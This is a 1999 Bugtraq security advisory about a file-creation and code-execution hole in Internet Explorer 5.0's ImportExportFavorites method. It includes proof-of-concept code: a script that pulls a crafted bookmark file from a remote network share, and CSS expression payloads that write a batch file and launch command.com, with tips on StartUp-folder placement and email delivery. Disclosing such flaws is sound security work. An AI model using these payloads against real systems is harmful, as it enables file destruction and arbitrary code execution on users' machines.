Subject:      IE 5.0 security vulnerabilities - ImportExportFavorites - at
              least creating and overwriting files, probably executing programs
To: BUGTRAQ@SECURITYFOCUS.COM 


Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.


Description:


Internet Explorer 5.0 under Windows 95/NT 4.0 (suppose Win98 is
vulnerable)
allows creating and overwriting local files and in SOME cases putting
content in them using the window.external.ImportExportFavorites()
method.
In SOME cases putting content in the file is possible which means
arbitrary programs may be executed.


Details:


The problem is the window.external.ImportExportFavorites() method, which
is used to
import and export bookmarks from and to Netscape Communicator.
The bigger problem is it allows creating and overwriting files, which
obviously leads to a dangerous DoS attack.
One may overwrite critical files which may lead to reinstalling Windows.
Example of this is:
<SCRIPT>
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>
which will create a file c:\fav.hta, containing IE's favorites without
asking the user, just notifying him the operation is successfull.


In SOME cases, HTML code may be injected in the exported file by
importing a specially
designed HTML file. The file to be imported may reside on a samba or
Windows file server and may be accessed by Microsoft Networking.
The difficult part is this must be exported by using only the <A> tag,
but HTML Applications help again.


I have verified importing on a Windows NT 4.0 box directly connected to
Internet and it worked fine.
But I could not reproduce importing favorites with Windows 95 connected
to Internet via dial-up, I do not have enough network resources to
investigate further.


I SHALL MUCH APPRECIATE SOME NETWORK GURU EXPLAIN ME WHY IMPORTING USING
MICROSOFT NETWORKING DOES NOT WORK IN SOME CASES
AND CONFIRM OR DENY THE POSSIBLILTY OF IMPORTING FAVORITES FROM A
NETWORK FILE SEVER.


It is possible to import the file using "http" protocol, but then the
user must click the default button YES,
Microsoft does not warn about any security problems in this case.



So the code looks like this:


In a HTML file:
------------------------------------------------------------------
<SCRIPT>
// you must change the IP or make the file local !!!!!!!!!!
window.external.ImportExportFavorites(1,"\\\\1.1.1.1\\test\\fav.imp");
// Sure, the StartUp folder is better
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>
------------------------------------------------------------------
In the imported file (fav.imp), residing on a samba or Windows server
without authentication:
-------------------------------------------------------------------
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<DL>
<DT><A HREF="#" STYLE="left:expression(eval('f= new
ActiveXObject(\'Scripting.FileSystemObject\');a=f.CreateTextFile(\'C:\\\\GTEST.BAT\',true);a.WriteLine(\'echo
Hi\');a.WriteLine(\'pause\');a.close();alert(\'File C:\\\\GTEST.BAT
created\');window.close();'));" ADD_DATE="923225094"
LAST_VISIT="934146000" LAST_MODIFIED="923225096">123456</A>
<DT><A HREF="#" STYLE="left:expression(eval('a=new
ActiveXObject(\'WScript.Shell\');a.run(\'c:\\command.com\');alert(\'Program
started\');window.close()'));" ADD_DATE="923225094"
LAST_VISIT="934146000" LAST_MODIFIED="923225096">123455</A>
</DL>
-------------------------------------------------------------------
To see the effect start c:\fav.hta (it may be placed in the StartUp
folder and executed automatically)


This vulnerability can be exploited via email or Usenet message using
window.open().


The user must have installed file sharing in order remote importing to
work.


Workaround:
Disable Active Scripting


Demonstration is available at http://www.nat.bg/~joro/imp.html



Regards,
Georgi Guninski
http://www.nat.bg/~joro